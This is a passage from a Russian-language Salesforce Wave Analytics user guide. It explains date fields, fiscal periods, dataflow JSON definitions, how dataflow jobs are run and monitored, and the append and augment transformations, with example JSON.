результаты. Например, призагрузке значения 3,7E-16 сошкалой «16» внаборданныхWave Analyticsпытается сохранить
значение как «37000000000000000». Тем не менее ввиду превышения максимально допустимого значенияWave
Analytics не удается загрузить всю запись. Кроме того, при выполнении запроса, агрегирующего меры (например,
суммирование или группирование), и превышении итоговым значением максимального значения, значение
переполняется, аWave Analytics возвращает неправильный результат.

Обработка дат в наборах данных
Призагрузке дат в набор данныхWave Analyticsразбивает каждуюдатунанесколькополей (например, день, неделя, месяц,
квартал и год) на основе календарного года. Например, при извлечении дат из поля CreateDate Wave Analytics создает
такие поля даты, как CreateDate_Day и CreateDate_Week. При отличиифинансового года от календарного
пользователи могут предоставлятьWave Analytics возможность создания полей даты финансового года.

Ниже перечислены поля даты, создаваемыеWave Analytics.

ОписаниеТип поляИмя поля

Количество секунд. При отсутствии
секунд используется значение «0».

Текст<имя поля даты>_Second

Количество минут. При отсутствии
минут используется значение «0».

Текст<имя поля даты>_Minute

Количество часов. При отсутствии
часов используется значение «0».

Текст<имя поля даты>_Hour

День месяца.Текст<имя поля даты>_Day

Номер недели календарного года.Текст<имя поля даты>_Week
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ОписаниеТип поляИмя поля

Номер месяца календарного года.Текст<имя поля даты>_Month

Номер квартала календарного года.Текст<имя поля даты>_Quarter

Календарный год.Текст<имя поля даты>_Year

Номер недели финансового года.Текст<имя поля даты>_Week_Fiscal

Номер месяца финансового года.Текст<имя поля даты>_Month_Fiscal

Номер квартала финансового года.Текст<имя поля даты>_Quarter_Fiscal

Финансовый год.Текст<имя поля даты>_Year_Fiscal

Количествосекунд, прошедшихпосле
наступления 1 января 1970 года (00:00
по Гринвичу).

Число<имя поля даты>_sec_epoch

Количество дней, прошедших после
наступления 1 января 1970 года (00:00
по Гринвичу).

Число<имя поля даты>_day_epoch

При необходимости настройте атрибуты метаданных для определения способа загрузки дат в наборы данных и
предоставленияWave Analyticsвозможностисозданияполейдатыфинансовогогода. Чтобынастроитьатрибутыметаданных,
воспользуйтесь параметрами трансформации sfdcDigest для данных Salesforce или файлом метаданных для внешних
данных.

Прим.: Прежде чем загрузить даты из файла внешних данных, просмотрите требования к формату даты здесь.
Кроме того, убедитесь, что имена столбцов в файле внешних данных не противоречат созданным именам полей
даты. Например, при загрузке CSV-файла, содержащего столбец Create_Date, Wave Analytics создает поле
Create_Date_Year в наборе данных. Если CSV-файл также содержит поле Create_Date_Year, тоWave
Analytics возвращает ошибку ввиду конфликта имен.

Финансовые периоды в Wave Analytics

Приотличиифинансового годаот календарногопользователимогутпредоставлятьWave Analytics возможность создания
полей датыфинансового года в наборе данных дополнительно к полям даты календарного года. Чтобы разрешитьWave
Analytics создание полей даты финансового года, задайте атрибуту fiscalMonthOffset значение, отличное от нуля.
Данный атрибут настраивается для каждого столбца даты, которому требуется создать поля датыфинансового года. При
настройке нулевого смещения или отсутствии значенияWave Analytics не создает поля даты финансового года.

Кроме того, чтобы настроить финансовые периоды, настройте атрибуты метаданных ниже для каждого столбца даты.

fiscalMonthOffset
Помимо предоставления возможности создания полей даты финансового года, данный атрибут также определяет
первый месяц финансового года. Атрибут fiscalMonthOffset позволяет указывать разницу между первым
месяцемфинансового годаипервыммесяцемкалендарного года (январь). Например, еслифинансовыйгодначинается
в апреле, задайте атрибуту fiscalMonthOffset значение «3».
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isYearEndFiscalYear
Ввидувозможногоначалаиокончанияфинансовогогодавразныекалендарныегода, рекомендуемуказать год, который
должен использоваться в качестве финансового. Атрибут isYearEndFiscalYear определяет, является ли
финансовый год годом начала или окончания финансового года.

Чтобы понять принцип работы, рассмотрим пару примеров. Если атрибут isYearEndFiscalYear является
истинным (или отсутствует), тофинансовым годом является год окончанияфинансового года. Согласно схеме ниже,
любыедатымежду 1 апреля 2015 годаи 31 марта 2016 года являютсячастью 2016 финансового года, так какфинансовый
год заканчивается в 2016 году.

Если атрибут isYearEndFiscalYear является ложным, то финансовым годом является год начала финансового
года. Согласносхемениже, любыедатымежду 1 апреля 2015 годаи 31 марта 2016 годаявляютсячастью 2015 финансового
года, так как финансовый год начинается в 2015 году.

Нумерация недель в Wave Analytics

Для каждойдаты, загруженной внабор данных, Wave Analytics создает соответствующийномернедели календарного года
и финансового года (при наличии). Аналогично функции SOQL WEEK_IN_YEAR, первая неделяWave Analytics длится с
1 по 7 января. (Отличается от вычисления week() по Гринвичу.)

При необходимости настройте атрибут firstDayOfWeek для использования отдельного дня недели как ее начала.
Например, если 1 января является субботой, а неделя должна начинаться в понедельник, то первая неделя длится с 1 по
2 января. Вторая неделя начинается в понедельник (3 января). Третья неделя начинается через понедельник (10 января).
Обратите внимание, что первая неделя может быть укороченной, благодаря чему указанный день недели может
использоваться как начало последующих недель.

JSON потока данных
Поток данных может использоваться для создания как минимум одного набора данных на основе данных из объектов
Salesforce или текущих наборов данных. Поток данных — это набор инструкций, определяющих данные, подлежащие
извлечению из объектов Salesforce или наборов данных, способы трансформации наборов данных, а также наборы
данных, которые должны быть доступны для запросов.Поток данных позволяет управлять извлеченными данными и
переопределять метаданные перед их загрузкой в набор данных. Ежедневное выполнение потока данных позволяет
обновлять данные непрерывно.

Wave Analyticsподдерживает стандартныйпотокданных, содержащийпримернуюлогику трансформации. Данныйпоток
данных является только примером и может выполняться только после настройки.
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Чтобы настроить поток данных, добавьте трансформации в файл определения потока данных. Файл определения потока
данных — это файл JSON, содержащий трансформации, которые представляют логику потока данных.Пользователи
могутдобавлятьтрансформациидляопределенияданных, подлежащихизвлечению, способовтрансформациинаборов
данных, а также наборов данных, подлежащих регистрации.

После настройки потока данных загрузите новый файл определения потока данных вWave Analytics.

По умолчанию поток данных не выполняется автоматически. Прежде чем начать выполнение потока данных по
расписанию, запустите поток данных вручную. После выполненияпервого задания задание потока данных выполняется
по ежедневномурасписанию.Поток данныхвыполняетсяпо ежедневномурасписаниюдля сборапоследнихизменений,
внесенных в данные Salesforce и логику потока данных.

При необходимости воспользуйтесь остановкой, повторным планированием и отслеживанием заданий потока данных.

СМ. ТАКЖЕ:

Создание наборов данных посредством потока данных

Конструктор наборов данных
Рекомендуем использовать конструктор наборов данных для создания отдельного набора данных на основе данных из
одного или более связанных объектов Salesforce. С помощью конструктора наборов данных вы просто указываете и
щелкаете соответствующие объекты Salesforce для их определения и выбора.

После выбора данных для добавления в набор данных конструктор наборов данных генерирует и добавляет связанный
файл JSON в файл определения потока данных. Набор данных создается при следующем выполнении потока данных.
Данные, используемые набором данных, обновляются при каждом выполнении потока данных.

СМ. ТАКЖЕ:

Создание набора данных посредством конструктора наборов данных

Приложение Wave Connector для данных Excel

ПриложениеWave Connector от компании Salesforce позволяет упростить импорт данных из приложения Microsoft Excel
2013 вWave Analytics.

ПриложениеWave Connector доступно для настольного приложения Excel 2013 и приложения Excel Online продукта Office
365. ПриложениеWave Connector доступнопосредствоминтернет-магазина приложений Microsoft для Office или личного
каталогаприложенийорганизации. ПослеустановкиприложенияWave Connectorвыполнитеимпортданныхизприложения
Excel в систему Salesforce.
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Установка приложения Wave Connector для Excel

Приложение Wave Connector предоставляет пользователям возможность быстрого и удобного импорта данных из
приложения Excel 2013 в Salesforce Wave Analytics.

Настройка Wave Connector для администраторов
В некоторых случаях требуется изменение параметров безопасности Salesforce для предоставления пользователям
возможности подключения к приложениюWave Connector.

СМ. ТАКЖЕ:

Установка приложения Wave Connector для Excel

Пользовательский интерфейс загрузки внешних данных
Рекомендуем использовать пользовательский интерфейс загрузки для создания отдельного набора данных на основе
внешних данных. При необходимости загрузите файл внешних данных (в формате CSV-файла, сжатого или архивного
файла). Чтобыобновить данные, переопределите данныенабора данныхпутем загрузки новогофайла внешних данных.

При загрузке любых данных в набор данныхWave Analytics также добавляет метаданные о каждом столбце данных.
Например, метаданные могут содержать тип поля, точность, величину и стандартное значение.

При загрузке внешних данныхWave Analytics получает метаданные о каждом столбце файла внешних данных, кроме
случаев использования других атрибутов метаданных в файле метаданных. Файл метаданных — это файл JSON,
описывающий структуру файла внешних данных.Например, файл метаданных позволяет явно выбирать тип поля и
стандартное значение для конкретного столбца внешних данных. При отказе от выбора файла метаданных во время
загрузкивнешнихданныхWave Analyticsобрабатывает каждыйстолбецкакизмерениеи задает типуполя значение «Текст».
Данныйалгоритмвлияетнатипзапросов, которыемогутбытьназначенынаборуданных, ввидуневозможностивыполнения
математических вычислений над столбцами набора данных, имеющими тип поля «Текст». Математические вычисления
могут выполняться только над столбцами набора данных, имеющими тип поля «Число».

После создания набора данных на основе файла внешних данных рекомендуем отредактировать набор данных для
применения нового файла метаданных. Данный алгоритм позволяет изменять атрибуты метаданных каждого столбца.

Прим.:  Wave временно сохраняет загруженные файлы CSV и метаданных только для обработки. После создания
набора данных Wave удаляет файлы.

СМ. ТАКЖЕ:

Создание набора данных посредством внешних данных

External Data API
Рекомендуем использовать интерфейс External Data API для создания отдельного набора данных на основе внешних
данных в CSV-формате. Принеобходимости воспользуйтесь интерфейсом API для редактирования набора данных путем
загрузки нового CSV-файла. При редактировании набора данных выберите необходимое действие: перезапись всех
записей, добавление записей, обновление записей или удаление записей.

Дополнительную информацию об интерфейсе External Data API см. в Руководстве разработчикаWave Analytics External Data
API.
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Создание наборов данных посредством потока данных
Поток данных может использоваться для создания как минимум одного набора данных на основе данных из объектов
Salesforce или текущих наборов данных.

1. Проектирование потока данных
Прежде чем начать создание файла определения потока данных в формате JSON, обдумайте проект потока данных.
Определите данные, доступные для запросов, область извлечения данных и необходимость преобразования
извлеченных данных в нужныйформат.

2. Настройка потока данных
Настройтепотокданныхнаосновепроектапотокаданных. Принеобходимостиразрешитепотокуданныхизвлечение
данных, трансформацию наборов данных на основе текущих бизнес-требований и регистрацию наборов данных,
которые должны быть доступны для запросов. Чтобы настроить поток данных, добавьте трансформации в файл
определения потока данных.

3. Запуск потока данных
При необходимости запустите задание потока данных вручную для немедленной загрузки данных в наборы данных.
При необходимости остановите выполняемое задание. Разрешается запускать не более 24 заданий потока данных в
течение суток.

4. Отслеживание задания потока данных
Рекомендуем использовать страницу отслеживания данных для отслеживания заданий потока данных на предмет их
успешного выполнения или наличия ошибок, подлежащих исправлению.

5. Повторное планирование потока данных
Заданиепотока данных выполняетсяпо ежедневномурасписанию. Принеобходимостиизмените время выполнения
для задания потока данных. Данная функция позволяет подготавливать нужные данные к определенному времени
или планировать выполнение задания на нерабочее время.

Проектирование потока данных
Прежде чем начать создание файла определения потока данных в формате JSON, обдумайте проект потока данных.
Определитеданные, доступныедля запросов, областьизвлеченияданныхинеобходимостьпреобразованияизвлеченных
данных в нужныйформат.

Рассмотрим пример ниже для иллюстрации некоторых ключевых решений. В данном примере требуется создать набор
данных «Реализованныевозможности». Наборданныхбудетсодержатьсведенияовозможностях, включаяимяорганизации
для каждой возможности.

Чтобы создать подобный набор данных, воспользуйтесь проектом потока данных ниже.
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Поток данных извлекает данные о возможности из объекта Opportunity и имя организация из объекта Account. Поток
данных создает новый набор данных для каждого извлеченного объекта.

Затем поток данных преобразует наборы данных, созданные на основе извлеченных данных. Сначала поток данных
объединяет данные о возможности и организации в новый набор данных. Затем поток данных фильтрует записи на
основе этапа возможности, разрешая набору данных отображать только реализованные возможности. При каждом
преобразовании набора данных поток данных создает новый набор данных.

Чтобы позволить пользователям обрабатывать только реализованные возможности, разрешите потоку данных
регистрировать только окончательный набор данных. При необходимости система позволяет регистрировать любые
наборы данных, созданные потоком данных, в любых количествах.

Ниже перечислены рекомендации по выбору наборов данных для регистрации.

• Общееколичествостроквовсех зарегистрированныхнаборахданныхнеможетпревышать250 миллионовдлякаждой
лицензии на платформу.

• Пользователи, имеющие доступ к зарегистрированным наборам данных, могут запрашивать данные. Тем не менее,
чтобы ограничить доступ к записям, примените безопасность строки к набору данных.
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Настройка потока данных

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для редактирования файла
определенияпотока данных:
• “Изменение потока

данных Wave Analytics»

Настройте поток данных на основе проекта потока данных. При необходимости
разрешите потоку данных извлечение данных, трансформацию наборов данных на
основе текущих бизнес-требований и регистрацию наборов данных, которые должны
быть доступныдля запросов. Чтобынастроитьпоток данных, добавьте трансформации
в файл определения потока данных.

Файл определения потока данных — это файл JSON, содержащий трансформации, которые
представляютлогикупотокаданных.Файлопределенияпотокаданныхдолженхраниться
в кодировке UTF-8.

Прежде чем настраивать поток данных для обработки внешних данных, рекомендуем
загрузить внешние данные вWave Analytics.

1. Чтобыоткрыть страницу отслеживания данных, щелкните значокшестеренки ( )
вWave Analytics, а затем щелкните «Отслеживание данных».
Поумолчаниюотображаетсяпредставлениезаданийстраницыотслеживанияданных.

2. ВыберитеПредставление потока данных.

3. Чтобы загрузить файл определения потока данных, щелкните Загрузить в списке
действий (1).

4. Прежде чем вносить изменения, создайте резервную копиюфайла определения потока данных.

Wave Analytics не сохраняет предыдущие версии файла. Если вы совершили ошибку, можно загрузить предыдущую
версию для отмены внесенных изменений.

5. Добавьте трансформации в файл определения потока данных.

Например, ниже перечислены трансформации, которые могут быть добавлены на основе проекта из предыдущего
действия.

{
"Extract_Opportunities": {

"action": "sfdcDigest",
"parameters": {
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"object": "Opportunity",
"fields": [

{ "name": "Id" },
{ "name": "Name" },
{ "name": "Amount" },
{ "name": "StageName" },
{ "name": "CloseDate" },
{ "name": "AccountId" },
{ "name": "OwnerId" }

]
}

},
"Extract_AccountDetails": {

"action": "sfdcDigest",
"parameters": {

"object": "Account",
"fields": [

{ "name": "Id" },
{ "name": "Name" }

]
}

},
"Transform_Augment_OpportunitiesWithAccountDetails": {

"action": "augment",
"parameters": {

"left": "Extract_Opportunities",
"left_key": [ "AccountId" ],
"relationship": "OpptyAcct",
"right": "Extract_AccountDetails",
"right_key": [ "Id" ],
"right_select": [

"Name"
]

}
},
"Transform_Filter_Opportunities": {

"action": "filter",
"parameters": {

"filter": "StageName:EQ:Closed Won",
"source": "Transform_Augment_OpportunitiesWithAccountDetails"

}
},
"Register_Dataset_WonOpportunities": {

"action": "sfdcRegister",
"parameters": {

"alias": "WonOpportunities",
"name": "WonOpportunities",
"source": "Transform_Filter_Opportunities"

}
}

}

Прим.: Для ключей и значений JSON учитывается регистр символов. Каждый выделенный жирным ключ в
предыдущемпримере JSON содержитоднодействие, котороеопределяеттиптрансформации. Порядокдобавления
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трансформаций в файл определения потока данных не имеет значения. Wave Analytics определяет порядок
обработки трансформаций путем обработки потока данных для определения существующих между ними
зависимостей.

6. Преждечемсохранитьфайлопределенияпотока данных, воспользуйтесьинструментомпроверки JSON дляпроверки
допустимости JSON.

При загрузке файла определения потока данных, содержащего недопустимый JSON, возникает ошибка. Инструмент
проверки JSON доступен в Интернете.

7. Сохраните определение потока данных в кодировке UTF-8 и закройте файл.

8. Чтобы выгрузить обновленныйфайл определения потока данных, щелкните «Выгрузить» в списке действий (1)
представления потока данных на странице отслеживания данных.

Прим.: Выгрузка файла определения потока данных не влияет на выполняемые задания потока данных и не
инициирует автоматический запуск задания потока данных.

При необходимости запустите поток данных вручную или дождитесь времени его запланированного выполнения.
Пользователи не могут запрашивать зарегистрированные наборы данных до выполнения потока данных.

Запуск потока данных

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для запуска задания потока
данных:
• “Изменение потока

данных Wave Analytics»

Принеобходимостизапуститезаданиепотокаданныхвручнуюдлянемедленнойзагрузки
данных в наборы данных. При необходимости остановите выполняемое задание.
Разрешается запускать не более 24 заданий потока данных в течение суток.

Прим.: По умолчаниюпоток данных не выполняется автоматически. Прежде чем
начать выполнение потока данных по расписанию, запустите поток данных
вручную. Послевыполненияпервого задания заданиепотокаданныхвыполняется
по ежедневному расписанию.

1. Чтобыоткрыть страницу отслеживания данных, щелкните значокшестеренки ( )
вWave Analytics, а затем щелкните «Отслеживание данных».
Поумолчаниюотображаетсяпредставлениезаданийстраницыотслеживанияданных.

2. ВыберитеПредставление потока данных.
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3. Чтобы выполнить задание потока данных, щелкните «Начать» в списке действий (1).
Задание потока данных добавляется в очередь заданий. При выполнении задания потока данных кнопка «Начать»
отображается серым цветом.

4. После выполнения заданияWave Analytics отправляет электронное уведомление пользователю, изменившему файл
определения потока данных последним.

Электронное уведомление определяет успешность выполнения задания. Кроме того, оно отображает такие сведения
о задании, как времяначала, времяокончания, продолжительностьи количествообработанныхстрок. Принеудачном
выполнении задания уведомление отображает причину сбоя.

Система позволяет отслеживать задание потока данных на странице отслеживания данных для определения времени
завершенияпотока данных. После успешного выполненияпотока данныхобновитеначальнуюстраницу дляпросмотра
зарегистрированных наборов данных.
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Отслеживание задания потока данных

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для доступа к странице
отслеживания данных:
• “«Редактирование

потоков данных Wave
Analytics», «Загрузка
внешних данных вWave
Analytics» или
«Управление Wave
Analytics»

Рекомендуем использовать страницу отслеживания данных для отслеживания заданий
потокаданныхнапредметихуспешноговыполненияилиналичияошибок, подлежащих
исправлению.

Представлениепотокаданныхстраницыотслеживанияданныхотображает статус, время
начала и продолжительность последних 10 заданий потока данных, а также сохраняет
последние 7 дней журнала. Чтобы устранить неполадки невыполненного задания,
воспользуйтесь сообщениями об ошибках и просмотрите динамические сведения о
каждой обрабатываемой трансформации.

1. Чтобыоткрыть страницуотслеживанияданных, щелкните значокшестеренки ( ) вWave Analytics, а затемщелкните
«Отслеживание данных».
По умолчанию отображается представление заданий.
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2. ВыберитеПредставление потока данных (1).

3. Чтобы просмотреть последний статус выполняемого задания, нажмите кнопку «Обновить задания» ( ).

Каждое задание может иметь один из следующих статусов.

Описание«Статус»

Задание выполняется.Выполнение

Сбой задания.Сбой

Задание успешно выполнено.Успешно

4. Принеудачномвыполнениизаданияпотокаданныхразвернитеузел задания (3) ипросмотритединамическиесведения
для каждой обработанной трансформации.

5. При обнаружении ошибки в логике потока данных измените файл определения потока данных, загрузите файл и
повторите выполнение потока данных.

Повторное планирование потока данных

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для запуска задания потока
данных:
• “Изменение потока

данных Wave Analytics»

Заданиепотока данныхвыполняетсяпо ежедневномурасписанию. Принеобходимости
измените время выполнения для задания потока данных. Данная функция позволяет
подготавливатьнужныеданныекопределенномувремениилипланироватьвыполнение
задания на нерабочее время.

1. Чтобыоткрыть страницу отслеживания данных, щелкните значокшестеренки ( )
вWave Analytics, а затем щелкните «Отслеживание данных».
По умолчанию отображается представление заданий.

2. ВыберитеПредставление потока данных.
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3. Чтобы выполнить задание потока данных, щелкните «Запланировать» в списке действий (1).
При этом отображается диалоговое окно «Расписание потока данных».

4. Выберите время для выполнения потока данных.

5. Нажмите кнопку «Сохранить».

6. Нажмите кнопку «Готово».

Трансформации
Под трансформацией понимается манипулирование данными. Пользователи могут добавлять трансформации в поток
данныхдляизвлеченияданныхизобъектов Salesforce илинаборовданных, трансформироватьнаборыданных, содержащие
данные Salesforce или внешние данные, а также регистрировать наборы данных.

Например, воспользуйтесьтрансформациямидляобъединенияданныхиздвухсвязанныхнаборовданныхипоследующей
регистрации результирующего набора данных с целью его доступности для запросов.

Трансформация append

Трансформация append объединяет записи из нескольких наборов данных в один набор данных.

Трансформация augment

Трансформация augment дополняет входящий набор данных путем объединения столбцов из другого связанного
набораданных. Результирующийдополненныйнаборданныхвключает запросыобоихсвязанныхвходящихнаборов
данных. Например, чтобы разрешить запросу отображение записей организаций и полных имен ответственных за
организации, дополните набор данных Account набором данных User.

Трансформация computeExpression

Трансформация computeExpression позволяет добавлять извлеченные поля в набор данных. Значения извлеченных
полейнеизвлекаютсяиз источника вводных данных. Вместо этогоWave генерирует значения с помощьювыражения
SAQL, который может основываться на одном или нескольких полях из вводных данных или других извлеченных
полей. Например, спомощьювыраженияможноназначитьзначениеполю, объединитьтекстовыеполяиливыполнить
математические вычисления в числовых полях.

Трансформация delta

Трансформация delta вычисляет изменения в значении столбца меры из набора данных за определенный период
времени. Трансформация delta создает выходной столбец в наборе данных для хранения дельты для каждой записи.
Созданные дельты могут быстро добавляться бизнес-аналитиками в запросы.
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Трансформация dim2mea

Трансформация dim2mea создает новуюмеру на основе измерения. Трансформация добавляет новый столбец меры
в набор данных. Кроме того, трансформация сохраняет измерение во избежание нарушения связанных текущих
представлений Lens и панелей мониторинга.

Трансформация edgemart

Трансформация edgemart предоставляет потоку данных доступ к текущему зарегистрированному набору данных,
который может содержать данные Salesforce, внешние данные или данные обоих типов. Рекомендуем использовать
данную трансформацию для обращения к набору данных с целью использования его данных в последующих
трансформациях потока данных. Данная трансформация, используемая совместно с трансформацией augment,
позволяет объединять текущий набор данных с новым.

Трансформация filter

Трансформация filter удаляет записи из текущего набора данных. Пользователь задает условие фильтра, которое
определяет записи, подлежащие сохранению в наборе данных.

Трансформация flatten

Трансформация flatten выравнивает иерархические данные. Например, пользователь может выровнять иерархию
ролей Salesforce для применения параметров безопасности строки к набору данных на основе иерархии ролей.

Трансформация sfdcDigest

Трансформация sfdcDigest генерирует набор данных на основе данных, извлекаемых из объекта Salesforce. Объекты
и поля Salesforce, используемые для извлечения данных, определяются пользователем. Отдельные поля, содержащие
конфиденциальные данные или несущественную информацию, могут быть исключены из трансформации.

Трансформация sfdcRegister

Трансформация sfdcRegister регистрирует набор данных с целью его доступности для запросов. Пользователи не
могут просматривать или выполнять запросы в отношении незарегистрированных наборов данных.

Трансформация update

Трансформацияupdateобновляет значения заданныхполейиз текущегонабора данныхнаоснове данныхиз другого
набораданных, называемогоподстановочным. Трансформациявыполняетпоискновыхзначенийизсоответствующих
полей в подстановочном наборе данных. Трансформация сохраняет результаты в новом наборе данных.

Переопределение метаданных, созданных посредством трансформации
При необходимости переопределите метаданные, созданные посредством трансформации. Система позволяет
переопределять атрибуты объектов и полей. Например, измените имя поля, извлеченного из объекта Salesforce, для
отображениядругогоименивнабореданных. Чтобыпереопределитьметаданные, добавьтепереопределениявраздел
«Схема» трансформации в файле определения потока данных.

СМ. ТАКЖЕ:

Создание наборов данных посредством потока данных

Трансформация append

Трансформация append объединяет записи из нескольких наборов данных в один набор данных.

Ниже перечислены правила по использованию данной трансформации.

• Данная трансформация не удаляет повторяющиеся записи.

• Всевходящиенаборыданныхдолжныиметьодинаковуюструктуру (соответствующиестолбцыдолжныиспользовать
одинаковый порядок отображения, а также одинаковые имена и типы полей).
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Пример: Рассмотримпримерниже. Наборданных, содержащийконтрольныепоказателипродажзамесяц, создается
ежемесячно. Чтобы получить целостное представление контрольных показателей продаж за все месяцы, создайте
файл определения потока данных ниже для объединения текущих наборов данных в один набор данных.

{

"Extract_SalesTargets_2014Jan": {

"action": "edgemart",

"parameters": { "alias": "SalesTargets_2014Jan" }

},

"Extract_SalesTargets_2014Feb": {

"action": "edgemart",

"parameters": { "alias": "SalesTargets_2014Feb" }

},

"Extract_SalesTargets_2014Mar": {

"action": "edgemart",

"parameters": { "alias": "SalesTargets_2014Mar" }

},

"Append_SalesTargets_2014Quarter1": {

"action": "append",

"parameters": {

"sources": [

"Extract_SalesTargets_2014Jan",

"Extract_SalesTargets_2014Feb",

"Extract_SalesTargets_2014Mar"

]

}

},

"Register_AllSalesTargets": {

"action": "sfdcRegister",

"parameters": {

"alias": "AllSalesTargets",

"name": "AllSalesTargets",

"source": "Append_SalesTargets_2014Quarter1"

}

}

}

После создания одного набора данных воспользуйтесь фильтрами данных для анализа контрольных показателей
продаж по месяцу, кварталу или году.

Параметры append

При определении трансформации append задайте атрибуту action значение append и настройте соответствующие
параметры.
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Параметры append

При определении трансформации append задайте атрибуту action значение append и настройте соответствующие
параметры.

Таблица ниже описывает доступные параметры ввода.

ЗначениеОбязательно?Параметр

Узлы в файле определения потока
данных, которые определяют наборы
данных, подлежащие объединению.

Даsources

СМ. ТАКЖЕ:

Трансформация append

Трансформация augment

Трансформация augmentдополняет входящийнаборданныхпутемобъединениястолбцовиз другого связанногонабора
данных. Результирующий дополненный набор данных включает запросы обоих связанных входящих наборов данных.
Например, чтобы разрешить запросу отображение записей организаций и полных имен ответственных за организации,
дополните набор данных Account набором данных User.

При создании трансформации определите каждый входящий набор данных как левый или правый набор данных и
укажите взаимосвязь между ними. Wave Analytics объединяет все столбцы левого набора данных и добавляет только
выбранные столбцы из правого набора данных. (Помните, что каждый набор данных не может включать более 5 000
столбцов.) Wave Analytics добавляет взаимосвязь в имена столбцов из правого набора данных; подобный алгоритм
используется при наличии одноименных столбцов в левом и правом наборах данных.

Для каждой записи левого набора данных трансформация augment выполняет поиск совпадающей записи в правом
наборе данных. Чтобы сопоставить связанные записи, трансформация augment использует условие совпадения. При
необходимости укажите условие совпадения на основе ключа из каждого набора данных. Например:

"left_key": [ "Id" ],"right_key": [ "Prod_ID" ]

Ключ должен быть одностолбцовым или составным. При использовании условия совпадения на основе составного
ключа оба набора данных должны использовать ключи, содержащие одинаковое количество столбцов в одинаковом
порядке.

Совет: Чтобы дополнить более двух наборов данных, дополните два набора данных за один раз. Например, чтобы
дополнить три набора данных, дополните первые два набора данных, а затем дополните результирующий набор
данных посредством третьего набора данных.

Пример: Рассмотрим пример трансформации augment. В данном примере требуется извлечь данные из объектов
Opportunity и Account, а затем сопоставить данные на основе поля кода организации.
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Создайте файл определения потока данных ниже.

{
"Extract_Opportunity": {

"action": "sfdcDigest",
"parameters": {

"object": "Opportunity",
"fields": [

{ "name": "Id" },
{ "name": "Name" },
{ "name": "Amount" },
{ "name": "StageName" },
{ "name": "CloseDate" },
{ "name": "AccountId" },
{ "name": "OwnerId" }

]
}

},
"Extract_AccountDetails": {

"action": "sfdcDigest",
"parameters": {

"object": "Account",
"fields": [

{ "name": "Id" },
{ "name": "Name" }

]
}

},
"Augment_OpportunitiesWithAccountDetails": {

"action": "augment",
"parameters": {

"operation": "LookupSingleValue",
"left": "Extract_Opportunity",
"left_key": [

"AccountId"
],
"relationship": "OpptyAcct",
"right": "Extract_AccountDetails",
"right_key": [

"Id"
],
"right_select": [ "Name" ]

}
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},
"Register_OpportunityDetails": {

"action": "sfdcRegister",
"parameters": {

"alias": "Opportunity_Account",
"name": "Opportunity_Account",
"source": "Augment_OpportunitiesWithAccountDetails" }

}
}

После выполнения потока данныхWave Analytics создает и регистрирует набор данных Opportunity_Account. Кроме
того, Analytics Cloud добавляет взаимосвязь в качестве префикса ко всем столбцам из правого набора данных.

Специальные случаи для сопоставления записей посредством трансформации augment

Для каждой записи левого набора данных трансформация augment выполняет поиск совпадающей записи в правом
наборе данных. Тем не менее, просмотрите порядок обработки трансформацией augment специальных случаев
сопоставления записей.

Параметры augment

Приопределениитрансформации augment задайте атрибуту action значение augment инастройте соответствующие
параметры.

Специальные случаи для сопоставления записей посредством трансформации augment

Для каждой записи левого набора данных трансформация augment выполняет поиск совпадающей записи в правом
наборе данных. Тем не менее, просмотрите порядок обработки трансформацией augment специальных случаев
сопоставления записей.

Рассмотрим некоторые примеры, иллюстрирующие разные специальные случаи.

Обработка нулевых ключей

Если запись левого набора данных содержит нулевой ключ, тоWave Analytics не выполняет поиск для сопоставления
записи. Взамен, Wave Analytics добавляет правые столбцы и вставляет значение «null» для измерений (включая даты), а
значение «0» для мер.
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Рассмотрим пример. Пользователь применяет трансформацию augment для следующих наборов данных, настраивает
взаимосвязь Price и сопоставляет записи на основе полей Id и ProdId.

Wave Analyticsне сопоставляетпоследнююзапись, так как кодпродукта являетсянулевым. Взамен, Wave Analytics вставляет
значение «null» для измерения Price.Pricebook и значение «0» для меры Price.UnitPrice. Ниже приведен
результирующий набор данных.

Обработка пустых ключей

Wave Analytics сопоставляет левые и правые ключи, содержащие пустые значения.

Рассмотрим пример. Пользователь применяет трансформацию augment для следующих наборов данных, настраивает
взаимосвязь Price и сопоставляет записи на основе полей Id и ProdId.

Wave Analytics сопоставляет последнююзапись набора данных Product с третьей записьюнабора данных Price, так как обе
записи содержат пустые значения (""). Ниже приведен результирующий набор данных.

Обработка неуникальных ключей

Несмотря на рекомендацию, левый ключ не обязательно должен быть уникальным. Если несколько записей содержат
одинаковый левый ключ, Wave Analytics создает одинаковые значения для добавленных столбцов.
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Рассмотрим пример. Пользователь применяет трансформацию augment для следующих наборов данных, настраивает
взаимосвязь Price и сопоставляет записи на основе полей Id и ProdId.

Wave Analytics сравнивает записи из набора данных Product с записями из набора данных Price. Ниже приведен набор
данных после применения трансформации augment.

Обработка несовпадающих записей

Если у левого ключа нет совпадений с ключом в правом наборе данных, Wave Analytics добавляет правые столбцы и
вставляет нули для мер и измерений (включая даты).

Рассмотрим пример. Пользователь применяет трансформацию augment для следующих наборов данных, настраивает
взаимосвязь Price и сопоставляет записи на основе полей Id и ProdId.

Поскольку среди ключей совпадений нет, Wave Analytics не сравнивает записи из набора данных Product с записями из
набора данных Price. Ниже приведен набор данных после применения трансформации augment.

Обработка нескольких совпадений

При связывании левого и правого наборов данных посредством взаимосвязи «один ко многим» Wave Analytics может
находитьнесколько совпаденийдля левой записи. Порядокобработкинескольких совпаденийопределяется выбранной
операцией augment. При необходимости выберите одну из указанных ниже операций для обработки нескольких
совпадений.
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LookupSingleValue
